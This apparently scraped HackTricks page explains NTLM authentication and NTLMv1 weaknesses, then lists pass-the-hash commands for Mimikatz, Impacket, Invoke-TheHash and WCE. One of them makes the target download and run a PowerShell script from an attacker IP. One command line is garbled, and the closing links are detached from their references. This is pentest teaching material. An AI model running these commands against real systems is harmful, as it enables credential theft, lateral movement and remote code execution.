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HackTricks - Boitatech
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Powered by GitBook
On this page
  • Basic Information
  • LM, NTLMv1 and NTLMv2
  • GUI
  • Registry
  • Basic NTLM Domain authentication Scheme
  • Local NTLM authentication Scheme
  • NTLMv1 Challenge
  • NTLMv1 attack
  • NTLMv2 Challenge
  • Pass-the-Hash
  • Mimikatz
  • Pass-the-Hash from linux
  • Impacket Windows compiled tools
  • Invoke-TheHash
  • Evil-WinRM Pass the Hash
  • Windows Credentials Editor (WCE)
  • Manual Windows remote execution with username and password
  • Extracting credentials from a Windows Host
  • NTLM Relay and Responder
  • Parse NTLM challenges from a network capture

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  1. Windows

NTLM

PreviousUnconstrained DelegationNextPlaces to steal NTLM creds

Last updated 3 years ago

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Basic Information

NTLM Credentials: Domain name (if any), username and password hash.

LM is only enabled in Windows XP and server 2003 (LM hashes can be cracked). The LM hash AAD3B435B51404EEAAD3B435B51404EE means that LM is not being used (is the LM hash of empty string).

By default Kerberos is used, so NTLM will only be used if there isn't any Active Directory configured, the Domain doesn't exist, Kerberos isn't working (bad configuration) or the client that tries to connect using the IP instead of a valid host-name.

The network packets of a NTLM authentication have the header "NTLMSSP".

The protocols: LM, NTLMv1 and NTLMv2 are supported in the DLL %windir%\Windows\System32\msv1_0.dll

LM, NTLMv1 and NTLMv2

You can check and configure which protocol will be used:

GUI

Execute secpol.msc -> Local policies -> Security Options -> Network Security: LAN Manager authentication level. There are 6 levels (from 0 to 5).

Registry

This will set the level 5:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

Possible values:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

Basic NTLM Domain authentication Scheme

  1. The user introduces his credentials

  2. The client machine sends an authentication request sending the domain name and the username

  3. The server sends the challenge

  4. The client encrypts the challenge using the hash of the password as key and sends it as response

  5. The server sends to the Domain controller the domain name, the username, the challenge and the response. If there isn't an Active Directory configured or the domain name is the name of the server, the credentials are checked locally.

  6. The domain controller checks if everything is correct and sends the information to the server

The server and the Domain Controller are able to create a Secure Channel via Netlogon server as the Domain Controller know the password of the server (it is inside the NTDS.DIT db).

Local NTLM authentication Scheme

The authentication is as the one mentioned before but the server knows the hash of the user that tries to authenticate inside the SAM file. So, instead of asking the Domain Controller, the server will check itself if the user can authenticate.

NTLMv1 Challenge

The challenge length is 8 bytes and the response is 24 bytes long.

The hash NT (16bytes) is divided in 3 parts of 7bytes each (7B + 7B + (2B+0x00*5)): the last part is filled with zeros. Then, the challenge is ciphered separately with each part and the resulting ciphered bytes are joined. Total: 8B + 8B + 8B = 24Bytes.

Problems:

  • Lack of randomness

  • The 3 parts can be attacked separately to find the NT hash

  • DES is crackable

  • The 3º key is composed always by 5 zeros.

  • Given the same challenge the response will be same. So, you can give as a challenge to the victim the string "1122334455667788" and attack the response used precomputed rainbow tables.

NTLMv1 attack

Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't abuse a Print Spooler service configured.

You could abuse some credentials/sessions you already have on the AD to ask the printer to authenticate against some host under your control. Then, using metasploit auxiliary/server/capture/smb or responder you can set the authentication challenge to 1122334455667788, capture the authentication attempt, and if it was done using NTLMv1 you will be able to crack it. If you are using responder you could try to use the flag --lm to try to downgrade the authentication. Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid).

NTLMv2 Challenge

The challenge length is 8 bytes and 2 responses are sent: One is 24 bytes long and the length of the other is variable.

The first response is created by ciphering using HMAC_MD5 the string composed by the client and the domain and using as key the hash MD4 of the NT hash. Then, the result will by used as key to cipher using HMAC_MD5 the challenge. To this, a client challenge of 8 bytes will be added. Total: 24 B.

The second response is created using several values (a new client challenge, a timestamp to avoid replay attacks...)

Pass-the-Hash

Once you have the hash of the victim, you can use it to impersonate it. You need to use a tool that will perform the NTLM authentication using that hash, or you could create a new sessionlogon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. The last option is what mimikatz does.

Please, remember that you can perform Pass-the-Hash attacks also using Computer accounts.

Mimikatz

Needs to be run as administrator

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don't need to know the plain-text password).

Pass-the-Hash from linux

Impacket Windows compiled tools

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local

  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local

  • atexec.exe (In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'

  • There are several more Impacket binaries...

Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

Invoke-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

Invoke-TheHash

This function is a mix of all the others. You can pass several hosts, exclude someones and select the option you want to use (SMBExec, WMIExec, SMBClient, SMBEnum). If you select any of SMBExec and WMIExec but you don't give any Command parameter it will just check if you have enough permissions.

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Windows Credentials Editor (WCE)

Needs to be run as administrator

This tool will do the same thing as mimikatz (modify LSASS memory).

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

Manual Windows remote execution with username and password

Extracting credentials from a Windows Host

NTLM Relay and Responder

Read more detailed guide on how to perform those attacks here:

Parse NTLM challenges from a network capture

Remember that the printer will use the computer account during the authentication, and computer accounts use long and random passwords that you probably won't be able to crack using common dictionaries. But the NTLMv1 authentication uses DES (), so using some services specially dedicated to cracking DES you will be able to crack it (you could use for example).

If you have a pcap that has captured a successful authentication process, you can follow this guide to get the domain, username , challenge and response and try to creak the password:

You can obtain code execution in Windows machines using Pass-the-Hash from Linux. ****

You can download.

You can get the powershell scripts from here:

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For more information about .

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https://research.801labs.org/cracking-an-ntlmv2-hash/
impacket binaries for Windows here
https://github.com/Kevin-Robertson/Invoke-TheHash
PsExec
SmbExec
WmicExec
AtExec
how to obtain credentials from a Windows host you should read this page
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
https://github.com/mlgualtieri/NTLMRawUnHide
https://crack.sh/
more info here
Evil-WinRM Pass the Hash
Access here to learn how to do it.